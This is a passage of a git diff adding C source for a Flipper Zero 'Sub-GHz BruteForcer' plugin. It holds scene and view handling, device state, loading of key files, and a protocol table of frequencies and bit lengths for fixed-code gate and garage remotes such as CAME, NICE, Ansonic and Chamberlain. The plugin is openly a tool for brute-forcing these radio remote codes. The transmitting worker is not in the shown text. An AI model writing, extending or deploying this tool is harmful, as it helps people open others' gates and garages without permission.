SubBruteViewMain; + subbrute_main_view_set_callback(view, subbrute_scene_start_callback, instance); + subbrute_main_view_set_index( + view, instance->device->attack, false, instance->device->two_bytes, 0); + + view_dispatcher_switch_to_view(instance->view_dispatcher, instance->current_view); + + // TODO: DELETE IT +#ifdef SUBBRUTE_FAST_TRACK + scene_manager_next_scene(instance->scene_manager, SubBruteSceneLoadFile); +#endif +} + +void subbrute_scene_start_on_exit(void* context) { + UNUSED(context); +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "subbrute_scene_start_on_exit"); +#endif +} + +bool subbrute_scene_start_on_event(void* context, SceneManagerEvent event) { + SubBruteState* instance = (SubBruteState*)context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { +#ifdef FURI_DEBUG + FURI_LOG_D( + TAG, + "Event: %ld, SubBruteCustomEventTypeMenuSelected: %s, SubBruteCustomEventTypeLoadFile: %s", + event.event, + event.event == SubBruteCustomEventTypeMenuSelected ? "true" : "false", + event.event == SubBruteCustomEventTypeLoadFile ? "true" : "false"); +#endif + if(event.event == SubBruteCustomEventTypeMenuSelected) { + SubBruteAttacks attack = subbrute_main_view_get_index(instance->view_main); + uint8_t extra_repeats = subbrute_main_view_get_extra_repeats(instance->view_main); + + if((subbrute_device_attack_set(instance->device, attack, extra_repeats) != + SubBruteFileResultOk) || + (!subbrute_worker_init_default_attack( + instance->worker, + attack, + instance->device->current_step, + instance->device->protocol_info, + instance->device->extra_repeats))) { + furi_crash("Invalid attack set!"); + } + scene_manager_next_scene(instance->scene_manager, SubBruteSceneSetupAttack); + + consumed = true; + } else if(event.event == SubBruteCustomEventTypeLoadFile) { + //uint8_t extra_repeats = subbrute_main_view_get_extra_repeats(instance->view_main); + + //instance->device->extra_repeats = extra_repeats; + scene_manager_next_scene(instance->scene_manager, SubBruteSceneLoadFile); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + //exit app + scene_manager_stop(instance->scene_manager); + view_dispatcher_stop(instance->view_dispatcher); + consumed = true; + } + + return consumed; +} \ No newline at end of file diff --git a/applications/plugins/subbrute/scenes/subbute_scene.c b/applications/plugins/subbrute/scenes/subbute_scene.c new file mode 100644 index 000000000..6d9ba9799 --- /dev/null +++ b/applications/plugins/subbrute/scenes/subbute_scene.c @@ -0,0 +1,30 @@ +#include "subbrute_scene.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, +void (*const subbrute_on_enter_handlers[])(void*) = { +#include "subbrute_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, +bool (*const subbrute_on_event_handlers[])(void* context, SceneManagerEvent event) = { +#include "subbrute_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, +void (*const subbrute_on_exit_handlers[])(void* context) = { +#include "subbrute_scene_config.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers subbrute_scene_handlers = { + .on_enter_handlers = subbrute_on_enter_handlers, + .on_event_handlers = subbrute_on_event_handlers, + .on_exit_handlers = subbrute_on_exit_handlers, + .scene_num = SubBruteSceneNum, +}; diff --git a/applications/plugins/subbrute/subbrute.c b/applications/plugins/subbrute/subbrute.c new file mode 100644 index 000000000..e0ecb31c3 --- /dev/null +++ b/applications/plugins/subbrute/subbrute.c @@ -0,0 +1,199 @@ +#include "subbrute_i.h" +#include "subbrute_custom_event.h" +#include "scenes/subbrute_scene.h" + +#define TAG "SubBruteApp" + +static bool subbrute_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + SubBruteState* instance = context; + return scene_manager_handle_custom_event(instance->scene_manager, event); +} + +static bool subbrute_back_event_callback(void* context) { + furi_assert(context); + SubBruteState* instance = context; + return scene_manager_handle_back_event(instance->scene_manager); +} + +static void subbrute_tick_event_callback(void* context) { + furi_assert(context); + SubBruteState* instance = context; + scene_manager_handle_tick_event(instance->scene_manager); +} + +SubBruteState* subbrute_alloc() { + SubBruteState* instance = malloc(sizeof(SubBruteState)); + + memset(instance->text_store, 0, sizeof(instance->text_store)); + instance->file_path = furi_string_alloc(); + + instance->scene_manager = scene_manager_alloc(&subbrute_scene_handlers, instance); + instance->view_dispatcher = view_dispatcher_alloc(); + + instance->gui = furi_record_open(RECORD_GUI); + + view_dispatcher_enable_queue(instance->view_dispatcher); + view_dispatcher_set_event_callback_context(instance->view_dispatcher, instance); + view_dispatcher_set_custom_event_callback( + instance->view_dispatcher, subbrute_custom_event_callback); + view_dispatcher_set_navigation_event_callback( + instance->view_dispatcher, subbrute_back_event_callback); + view_dispatcher_set_tick_event_callback( + instance->view_dispatcher, subbrute_tick_event_callback, 100); + + //Dialog + instance->dialogs = furi_record_open(RECORD_DIALOGS); + + // Notifications + instance->notifications = furi_record_open(RECORD_NOTIFICATION); + + // Devices + instance->device = subbrute_device_alloc(); + + // SubBruteWorker + instance->worker = subbrute_worker_alloc(); + + // TextInput + instance->text_input = text_input_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, + SubBruteViewTextInput, + text_input_get_view(instance->text_input)); + + // Custom Widget + instance->widget = widget_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, SubBruteViewWidget, widget_get_view(instance->widget)); + + // Popup + instance->popup = popup_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, SubBruteViewPopup, popup_get_view(instance->popup)); + + // ViewStack + instance->view_stack = view_stack_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, SubBruteViewStack, view_stack_get_view(instance->view_stack)); + + // SubBruteMainView + instance->view_main = subbrute_main_view_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, + SubBruteViewMain, + subbrute_main_view_get_view(instance->view_main)); + + // SubBruteAttackView + instance->view_attack = subbrute_attack_view_alloc(); + view_dispatcher_add_view( + instance->view_dispatcher, + SubBruteViewAttack, + subbrute_attack_view_get_view(instance->view_attack)); + + //instance->flipper_format = flipper_format_string_alloc(); + //instance->environment = subghz_environment_alloc(); + + return instance; +} + +void subbrute_free(SubBruteState* instance) { + furi_assert(instance); + + // SubBruteWorker + subbrute_worker_stop(instance->worker); + subbrute_worker_free(instance->worker); + + // SubBruteDevice + subbrute_device_free(instance->device); + + // Notifications + notification_message(instance->notifications, &sequence_blink_stop); + furi_record_close(RECORD_NOTIFICATION); + instance->notifications = NULL; + + // View Main + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewMain); + subbrute_main_view_free(instance->view_main); + + // View Attack + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewAttack); + subbrute_attack_view_free(instance->view_attack); + + // TextInput + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewTextInput); + text_input_free(instance->text_input); + + // Custom Widget + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewWidget); + widget_free(instance->widget); + + // Popup + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewPopup); + popup_free(instance->popup); + + // ViewStack + view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewStack); + view_stack_free(instance->view_stack); + + //Dialog + furi_record_close(RECORD_DIALOGS); + instance->dialogs = NULL; + + // Scene manager + scene_manager_free(instance->scene_manager); + + // View Dispatcher + view_dispatcher_free(instance->view_dispatcher); + + // GUI + furi_record_close(RECORD_GUI); + instance->gui = NULL; + + furi_string_free(instance->file_path); + + // The rest + free(instance); +} + +void subbrute_text_input_callback(void* context) { + furi_assert(context); + SubBruteState* instance = context; + view_dispatcher_send_custom_event( + instance->view_dispatcher, SubBruteCustomEventTypeTextEditDone); +} + +void subbrute_popup_closed_callback(void* context) { + furi_assert(context); + SubBruteState* instance = context; + view_dispatcher_send_custom_event( + instance->view_dispatcher, SubBruteCustomEventTypePopupClosed); +} + +// ENTRYPOINT +int32_t subbrute_app(void* p) { + UNUSED(p); + + SubBruteState* instance = subbrute_alloc(); + view_dispatcher_attach_to_gui( + instance->view_dispatcher, instance->gui, ViewDispatcherTypeFullscreen); + scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); + + // Enable power for External CC1101 if it is connected + furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } + + furi_hal_power_suppress_charge_enter(); + + notification_message(instance->notifications, &sequence_display_backlight_on); + view_dispatcher_run(instance->view_dispatcher); + furi_hal_power_suppress_charge_exit(); + // Disable power for External CC1101 if it was enabled and module is connected + furi_hal_subghz_disable_ext_power(); + + subbrute_free(instance); + + return 0; +} \ No newline at end of file diff --git a/applications/plugins/subbrute/subbrute.h b/applications/plugins/subbrute/subbrute.h new file mode 100644 index 000000000..5fedb9158 --- /dev/null +++ b/applications/plugins/subbrute/subbrute.h @@ -0,0 +1,3 @@ +#pragma once + +typedef struct SubBruteState SubBruteState; \ No newline at end of file diff --git a/applications/plugins/subbrute/subbrute_custom_event.h b/applications/plugins/subbrute/subbrute_custom_event.h new file mode 100644 index 000000000..2864f8934 --- /dev/null +++ b/applications/plugins/subbrute/subbrute_custom_event.h @@ -0,0 +1,26 @@ +#pragma once + +typedef enum { + // Reserve first 100 events for button types and indexes, starting from 0 + SubBruteCustomEventTypeReserved = 100, + + SubBruteCustomEventTypeBackPressed, + SubBruteCustomEventTypeIndexSelected, + SubBruteCustomEventTypeTransmitStarted, + SubBruteCustomEventTypeError, + SubBruteCustomEventTypeTransmitFinished, + SubBruteCustomEventTypeTransmitNotStarted, + SubBruteCustomEventTypeTransmitCustom, + SubBruteCustomEventTypeSaveFile, + SubBruteCustomEventTypeUpdateView, + SubBruteCustomEventTypeChangeStepUp, + SubBruteCustomEventTypeChangeStepDown, + SubBruteCustomEventTypeChangeStepUpMore, + SubBruteCustomEventTypeChangeStepDownMore, + + SubBruteCustomEventTypeMenuSelected, + SubBruteCustomEventTypeTextEditDone, + SubBruteCustomEventTypePopupClosed, + + SubBruteCustomEventTypeLoadFile, +} SubBruteCustomEvent; \ No newline at end of file diff --git a/applications/plugins/subbrute/subbrute_device.c b/applications/plugins/subbrute/subbrute_device.c new file mode 100644 index 000000000..0971c380e --- /dev/null +++ b/applications/plugins/subbrute/subbrute_device.c @@ -0,0 +1,460 @@ +#include "subbrute_device.h" + +#include +#include +#include +#include +#include +#include + +#define TAG "SubBruteDevice" + +SubBruteDevice* subbrute_device_alloc() { + SubBruteDevice* instance = malloc(sizeof(SubBruteDevice)); + + instance->current_step = 0; + + instance->protocol_info = NULL; + instance->file_protocol_info = NULL; + instance->decoder_result = NULL; + instance->receiver = NULL; + instance->environment = subghz_environment_alloc(); + subghz_environment_set_protocol_registry( + instance->environment, (void*)&subghz_protocol_registry); + +#ifdef FURI_DEBUG + subbrute_device_attack_set_default_values(instance, SubBruteAttackLoadFile); +#else + subbrute_device_attack_set_default_values(instance, SubBruteAttackCAME12bit433); +#endif + return instance; +} + +void subbrute_device_free(SubBruteDevice* instance) { + furi_assert(instance); + + // I don't know how to free this + instance->decoder_result = NULL; + + if(instance->receiver != NULL) { + subghz_receiver_free(instance->receiver); + instance->receiver = NULL; + } + + subghz_environment_free(instance->environment); + instance->environment = NULL; + + subbrute_device_free_protocol_info(instance); + + free(instance); +} + +uint64_t subbrute_device_add_step(SubBruteDevice* instance, int8_t step) { + if(step > 0) { + if((instance->current_step + step) - instance->max_value == 1) { + instance->current_step = 0x00; + } else { + uint64_t value = instance->current_step + step; + if(value == instance->max_value) { + instance->current_step = value; + } else { + instance->current_step = value % instance->max_value; + } + } + } else { + if(instance->current_step + step == 0) { + instance->current_step = 0x00; + } else if(instance->current_step == 0) { + instance->current_step = instance->max_value; + } else { + uint64_t value = ((instance->current_step + step) + instance->max_value); + if(value == instance->max_value) { + instance->current_step = value; + } else { + instance->current_step = value % instance->max_value; + } + } + } + + return instance->current_step; +} + +bool subbrute_device_save_file(SubBruteDevice* instance, const char* dev_file_name) { + furi_assert(instance); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_device_save_file: %s", dev_file_name); +#endif + + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* file = flipper_format_file_alloc(storage); + bool result = false; + do { + if(!flipper_format_file_open_always(file, dev_file_name)) { + FURI_LOG_E(TAG, "Failed to open file: %s", dev_file_name); + break; + } + Stream* stream = flipper_format_get_raw_stream(file); + if(instance->attack == SubBruteAttackLoadFile) { + subbrute_protocol_file_generate_file( + stream, + instance->file_protocol_info->frequency, + instance->file_protocol_info->preset, + instance->file_protocol_info->file, + instance->current_step, + instance->file_protocol_info->bits, + instance->file_protocol_info->te, + instance->file_protocol_info->repeat, + instance->bit_index, + instance->key_from_file, + instance->two_bytes); + } else { + subbrute_protocol_default_generate_file( + stream, + instance->protocol_info->frequency, + instance->protocol_info->preset, + instance->protocol_info->file, + instance->current_step, + instance->protocol_info->bits, + instance->protocol_info->te, + instance->protocol_info->repeat); + } + + result = true; + } while(false); + + if(!result) { + FURI_LOG_E(TAG, "subbrute_device_save_file failed!"); + } + + flipper_format_file_close(file); + flipper_format_free(file); + furi_record_close(RECORD_STORAGE); + + return result; +} + +SubBruteFileResult subbrute_device_attack_set( + SubBruteDevice* instance, + SubBruteAttacks type, + uint8_t extra_repeats) { + furi_assert(instance); +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_device_attack_set: %d, extra_repeats: %d", type, extra_repeats); +#endif + subbrute_device_attack_set_default_values(instance, type); + + if(type != SubBruteAttackLoadFile) { + subbrute_device_free_protocol_info(instance); + instance->protocol_info = subbrute_protocol(type); + } + + instance->extra_repeats = extra_repeats; + + // For non-file types we didn't set SubGhzProtocolDecoderBase + instance->receiver = subghz_receiver_alloc_init(instance->environment); + subghz_receiver_set_filter(instance->receiver, SubGhzProtocolFlag_Decodable); + furi_hal_subghz_reset(); + + uint8_t protocol_check_result = SubBruteFileResultProtocolNotFound; +#ifdef FURI_DEBUG + uint8_t bits; + uint32_t te; + uint8_t repeat; + FuriHalSubGhzPreset preset; + SubBruteFileProtocol file; +#endif + if(type != SubBruteAttackLoadFile) { + instance->decoder_result = subghz_receiver_search_decoder_base_by_name( + instance->receiver, subbrute_protocol_file(instance->protocol_info->file)); + + if(!instance->decoder_result || + instance->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) { + FURI_LOG_E(TAG, "Can't load SubGhzProtocolDecoderBase in phase non-file decoder set"); + } else { + protocol_check_result = SubBruteFileResultOk; + + // Calc max value + instance->max_value = subbrute_protocol_calc_max_value( + instance->attack, instance->protocol_info->bits, instance->two_bytes); + } +#ifdef FURI_DEBUG + bits = instance->protocol_info->bits; + te = instance->protocol_info->te; + repeat = instance->protocol_info->repeat + instance->extra_repeats; + preset = instance->protocol_info->preset; + file = instance->protocol_info->file; +#endif + } else { + // And here we need to set preset enum + protocol_check_result = SubBruteFileResultOk; + + // Calc max value + instance->max_value = subbrute_protocol_calc_max_value( + instance->attack, instance->file_protocol_info->bits, instance->two_bytes); +#ifdef FURI_DEBUG + bits = instance->file_protocol_info->bits; + te = instance->file_protocol_info->te; + repeat = instance->file_protocol_info->repeat + instance->extra_repeats; + preset = instance->file_protocol_info->preset; + file = instance->file_protocol_info->file; +#endif + } + + subghz_receiver_free(instance->receiver); + instance->receiver = NULL; + + if(protocol_check_result != SubBruteFileResultOk) { + return SubBruteFileResultProtocolNotFound; + } + +#ifdef FURI_DEBUG + FURI_LOG_I( + TAG, + "subbrute_device_attack_set: %s, bits: %d, preset: %s, file: %s, te: %ld, repeat: %d, max_value: %lld", + subbrute_protocol_name(instance->attack), + bits, + subbrute_protocol_preset(preset), + subbrute_protocol_file(file), + te, + repeat, + instance->max_value); +#endif + + return SubBruteFileResultOk; +} + +uint8_t subbrute_device_load_from_file(SubBruteDevice* instance, const char* file_path) { + furi_assert(instance); +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_device_load_from_file: %s", file_path); +#endif + SubBruteFileResult result = SubBruteFileResultUnknown; + + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + + subbrute_device_free_protocol_info(instance); + instance->file_protocol_info = malloc(sizeof(SubBruteProtocol)); + + FuriString* temp_str; + temp_str = furi_string_alloc(); + uint32_t temp_data32; + + instance->receiver = subghz_receiver_alloc_init(instance->environment); + subghz_receiver_set_filter(instance->receiver, SubGhzProtocolFlag_Decodable); + furi_hal_subghz_reset(); + + do { + if(!flipper_format_file_open_existing(fff_data_file, file_path)) { + FURI_LOG_E(TAG, "Error open file %s", file_path); + result = SubBruteFileResultErrorOpenFile; + break; + } + if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) { + FURI_LOG_E(TAG, "Missing or incorrect header"); + result = SubBruteFileResultMissingOrIncorrectHeader; + break; + } + + // Frequency + if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { + FURI_LOG_E(TAG, "Missing or incorrect Frequency"); + result = SubBruteFileResultMissingOrIncorrectFrequency; + break; + } + instance->file_protocol_info->frequency = temp_data32; + if(!furi_hal_subghz_is_tx_allowed(instance->file_protocol_info->frequency)) { + result = SubBruteFileResultFrequencyNotAllowed; + break; + } + + // Preset + if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { + FURI_LOG_E(TAG, "Preset FAIL"); + result = SubBruteFileResultPresetInvalid; + break; + } + instance->file_protocol_info->preset = subbrute_protocol_convert_preset(temp_str); + + const char* protocol_file = NULL; + // Protocol + if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { + FURI_LOG_E(TAG, "Missing Protocol"); + result = SubBruteFileResultMissingProtocol; + break; + } + instance->file_protocol_info->file = subbrute_protocol_file_protocol_name(temp_str); + protocol_file = subbrute_protocol_file(instance->file_protocol_info->file); +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Protocol: %s", protocol_file); +#endif + + instance->decoder_result = subghz_receiver_search_decoder_base_by_name( + instance->receiver, furi_string_get_cstr(temp_str)); + + if((!instance->decoder_result) || (strcmp(protocol_file, "RAW") == 0) || + (strcmp(protocol_file, "Unknown") == 0)) { + FURI_LOG_E(TAG, "Protocol unsupported"); + result = SubBruteFileResultProtocolNotSupported; + break; + } + + if(instance->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) { + FURI_LOG_E(TAG, "Protocol is dynamic - not supported"); + result = SubBruteFileResultDynamicProtocolNotValid; + break; + } +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Decoder: %s", instance->decoder_result->protocol->name); +#endif + + // Bit + if(!flipper_format_read_uint32(fff_data_file, "Bit", &temp_data32, 1)) { + FURI_LOG_E(TAG, "Missing or incorrect Bit"); + result = SubBruteFileResultMissingOrIncorrectBit; + break; + } + instance->file_protocol_info->bits = temp_data32; +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Bit: %d", instance->file_protocol_info->bits); +#endif + + uint8_t key_data[sizeof(uint64_t)] = {0}; + if(!flipper_format_read_hex(fff_data_file, "Key", key_data, sizeof(uint64_t))) { + FURI_LOG_E(TAG, "Missing Key"); + result = SubBruteFileResultMissingOrIncorrectKey; + break; + } + uint64_t data = 0; + for(uint8_t i = 0; i < sizeof(uint64_t); i++) { + data = (data << 8) | key_data[i]; + } +#if FURI_DEBUG + FURI_LOG_D(TAG, "Key: %.16llX", data); +#endif + instance->key_from_file = data; + + // TE + if(!flipper_format_read_uint32(fff_data_file, "TE", &temp_data32, 1)) { + FURI_LOG_E(TAG, "Missing or incorrect TE"); + //result = SubBruteFileResultMissingOrIncorrectTe; + //break; + } else { + instance->file_protocol_info->te = temp_data32 != 0 ? temp_data32 : 0; + } + + // Repeat + if(flipper_format_read_uint32(fff_data_file, "Repeat", &temp_data32, 1)) { +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Repeat: %ld", temp_data32); +#endif + instance->file_protocol_info->repeat = (uint8_t)temp_data32; + } else { +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Repeat: 3 (default)"); +#endif + instance->file_protocol_info->repeat = 3; + } + + result = SubBruteFileResultOk; + } while(0); + + furi_string_free(temp_str); + flipper_format_file_close(fff_data_file); + flipper_format_free(fff_data_file); + furi_record_close(RECORD_STORAGE); + + subghz_receiver_free(instance->receiver); + + instance->decoder_result = NULL; + instance->receiver = NULL; + + if(result == SubBruteFileResultOk) { +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "Loaded successfully"); +#endif + } else { + subbrute_device_free_protocol_info(instance); + } + + return result; +} + +void subbrute_device_attack_set_default_values( + SubBruteDevice* instance, + SubBruteAttacks default_attack) { + furi_assert(instance); +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_device_attack_set_default_values"); +#endif + instance->attack = default_attack; + instance->current_step = 0x00; + instance->bit_index = 0x00; + instance->extra_repeats = 0; + instance->two_bytes = false; + + if(default_attack != SubBruteAttackLoadFile) { + instance->max_value = subbrute_protocol_calc_max_value( + instance->attack, instance->bit_index, instance->two_bytes); + } +} + +const char* subbrute_device_error_get_desc(SubBruteFileResult error_id) { + const char* result; + switch(error_id) { + case(SubBruteFileResultOk): + result = "OK"; + break; + case(SubBruteFileResultErrorOpenFile): + result = "invalid name/path"; + break; + case(SubBruteFileResultMissingOrIncorrectHeader): + result = "Missing or incorrect header"; + break; + case(SubBruteFileResultFrequencyNotAllowed): + result = "Invalid frequency!"; + break; + case(SubBruteFileResultMissingOrIncorrectFrequency): + result = "Missing or incorrect Frequency"; + break; + case(SubBruteFileResultPresetInvalid): + result = "Preset FAIL"; + break; + case(SubBruteFileResultMissingProtocol): + result = "Missing Protocol"; + break; + case(SubBruteFileResultProtocolNotSupported): + result = "Protocol unsupported"; + break; + case(SubBruteFileResultDynamicProtocolNotValid): + result = "Dynamic protocol unsupported"; + break; + case(SubBruteFileResultProtocolNotFound): + result = "Protocol not found"; + break; + case(SubBruteFileResultMissingOrIncorrectBit): + result = "Missing or incorrect Bit"; + break; + case(SubBruteFileResultMissingOrIncorrectKey): + result = "Missing or incorrect Key"; + break; + case(SubBruteFileResultMissingOrIncorrectTe): + result = "Missing or incorrect TE"; + break; + case SubBruteFileResultUnknown: + default: + result = "Unknown error"; + break; + } + return result; +} + +void subbrute_device_free_protocol_info(SubBruteDevice* instance) { + furi_assert(instance); + instance->protocol_info = NULL; + if(instance->file_protocol_info) { + free(instance->file_protocol_info); + } + instance->file_protocol_info = NULL; +} \ No newline at end of file diff --git a/applications/plugins/subbrute/subbrute_device.h b/applications/plugins/subbrute/subbrute_device.h new file mode 100644 index 000000000..7ff650e93 --- /dev/null +++ b/applications/plugins/subbrute/subbrute_device.h @@ -0,0 +1,75 @@ +#pragma once + +#include "subbrute_protocols.h" +#include +#include +#include +#include + +#define SUBBRUTE_TEXT_STORE_SIZE 256 + +#define SUBBRUTE_MAX_LEN_NAME 64 +#define SUBBRUTE_PATH EXT_PATH("subghz") +#define SUBBRUTE_FILE_EXT ".sub" + +#define SUBBRUTE_PAYLOAD_SIZE 16 + +typedef enum { + SubBruteFileResultUnknown, + SubBruteFileResultOk, + SubBruteFileResultErrorOpenFile, + SubBruteFileResultMissingOrIncorrectHeader, + SubBruteFileResultFrequencyNotAllowed, + SubBruteFileResultMissingOrIncorrectFrequency, + SubBruteFileResultPresetInvalid, + SubBruteFileResultMissingProtocol, + SubBruteFileResultProtocolNotSupported, + SubBruteFileResultDynamicProtocolNotValid, + SubBruteFileResultProtocolNotFound, + SubBruteFileResultMissingOrIncorrectBit, + SubBruteFileResultMissingOrIncorrectKey, + SubBruteFileResultMissingOrIncorrectTe, +} SubBruteFileResult; + +typedef struct { + const SubBruteProtocol* protocol_info; + SubBruteProtocol* file_protocol_info; + + // Current step + uint64_t current_step; + + // SubGhz + SubGhzReceiver* receiver; + SubGhzProtocolDecoderBase* decoder_result; + SubGhzEnvironment* environment; + + // Attack state + SubBruteAttacks attack; + uint64_t max_value; + uint8_t extra_repeats; + + // Loaded info for attack type + uint64_t key_from_file; + uint64_t current_key_from_file; + bool two_bytes; + // Index of group to bruteforce in loaded file + uint8_t bit_index; +} SubBruteDevice; + +SubBruteDevice* subbrute_device_alloc(); +void subbrute_device_free(SubBruteDevice* instance); + +bool subbrute_device_save_file(SubBruteDevice* instance, const char* key_name); +const char* subbrute_device_error_get_desc(SubBruteFileResult error_id); +SubBruteFileResult subbrute_device_attack_set( + SubBruteDevice* context, + SubBruteAttacks type, + uint8_t extra_repeats); +uint8_t subbrute_device_load_from_file(SubBruteDevice* context, const char* file_path); + +uint64_t subbrute_device_add_step(SubBruteDevice* instance, int8_t step); + +void subbrute_device_free_protocol_info(SubBruteDevice* instance); +void subbrute_device_attack_set_default_values( + SubBruteDevice* context, + SubBruteAttacks default_attack); \ No newline at end of file diff --git a/applications/plugins/subbrute/subbrute_i.h b/applications/plugins/subbrute/subbrute_i.h new file mode 100644 index 000000000..c50a7ed9b --- /dev/null +++ b/applications/plugins/subbrute/subbrute_i.h @@ -0,0 +1,80 @@ +#pragma once + +#include +#include +#include + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "SubGHz_Bruteforcer_icons.h" + +#include + +#include +#include + +#include "subbrute.h" +#include "subbrute_device.h" +#include "helpers/subbrute_worker.h" +#include "views/subbrute_attack_view.h" +#include "views/subbrute_main_view.h" + +#define SUBBRUTEFORCER_VER "Sub-GHz BruteForcer 3.5" + +#ifdef FURI_DEBUG +//#define SUBBRUTE_FAST_TRACK false +#endif + +typedef enum { + SubBruteViewNone, + SubBruteViewMain, + SubBruteViewAttack, + SubBruteViewTextInput, + SubBruteViewDialogEx, + SubBruteViewPopup, + SubBruteViewWidget, + SubBruteViewStack, +} SubBruteView; + +struct SubBruteState { + // GUI elements + NotificationApp* notifications; + Gui* gui; + ViewDispatcher* view_dispatcher; + ViewStack* view_stack; + TextInput* text_input; + Popup* popup; + Widget* widget; + DialogsApp* dialogs; + + // Text store + char text_store[SUBBRUTE_MAX_LEN_NAME]; + FuriString* file_path; + + // Views + SubBruteMainView* view_main; + SubBruteAttackView* view_attack; + SubBruteView current_view; + + // Scene + SceneManager* scene_manager; + + // SubBruteDevice + SubBruteDevice* device; + // SubBruteWorker + SubBruteWorker* worker; +}; + +void subbrute_show_loading_popup(void* context, bool show); +void subbrute_text_input_callback(void* context); +void subbrute_popup_closed_callback(void* context); \ No newline at end of file diff --git a/applications/plugins/subbrute/subbrute_protocols.c b/applications/plugins/subbrute/subbrute_protocols.c new file mode 100644 index 000000000..6c6781b78 --- /dev/null +++ b/applications/plugins/subbrute/subbrute_protocols.c @@ -0,0 +1,881 @@ +#include "subbrute_protocols.h" +#include "math.h" +#include + +#define TAG "SubBruteProtocols" + +/** + * CAME 12bit 303MHz + */ +const SubBruteProtocol subbrute_protocol_came_12bit_303 = { + .frequency = 303875000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = CAMEFileProtocol}; + +/** + * CAME 12bit 307MHz + */ +const SubBruteProtocol subbrute_protocol_came_12bit_307 = { + .frequency = 307800000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = CAMEFileProtocol}; + +/** + * CAME 12bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_came_12bit_315 = { + .frequency = 315000000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = CAMEFileProtocol}; + +/** + * CAME 12bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_came_12bit_433 = { + .frequency = 433920000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = CAMEFileProtocol}; + +/** + * CAME 12bit 868MHz + */ +const SubBruteProtocol subbrute_protocol_came_12bit_868 = { + .frequency = 868350000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = CAMEFileProtocol}; + +/** + * NICE 12bit 433MHz + */ +const SubBruteProtocol subbrute_protocol_nice_12bit_433 = { + .frequency = 433920000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = NICEFileProtocol}; + +/** + * NICE 12bit 868MHz + */ +const SubBruteProtocol subbrute_protocol_nice_12bit_868 = { + .frequency = 868350000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = NICEFileProtocol}; + +/** + * Ansonic 12bit 433.075MHz + */ +const SubBruteProtocol subbrute_protocol_ansonic_12bit_433075 = { + .frequency = 433075000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPreset2FSKDev238Async, + .file = AnsonicFileProtocol}; + +/** + * Ansonic 12bit 433.92MHz + */ +const SubBruteProtocol subbrute_protocol_ansonic_12bit_433 = { + .frequency = 433920000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPreset2FSKDev238Async, + .file = AnsonicFileProtocol}; + +/** + * Ansonic 12bit 434.075MHz + */ +const SubBruteProtocol subbrute_protocol_ansonic_12bit_434 = { + .frequency = 434075000, + .bits = 12, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPreset2FSKDev238Async, + .file = AnsonicFileProtocol}; + +/** + * Chamberlain 9bit 300MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_9bit_300 = { + .frequency = 300000000, + .bits = 9, + .te = 0, + .repeat = 3, + .preset = FuriHalSubGhzPresetOok650Async, + .file = ChamberlainFileProtocol}; + +/** + * Chamberlain 9bit 315MHz + */ +const SubBruteProtocol subbrute_protocol_chamberlain_9bit_315 = { + .frequency 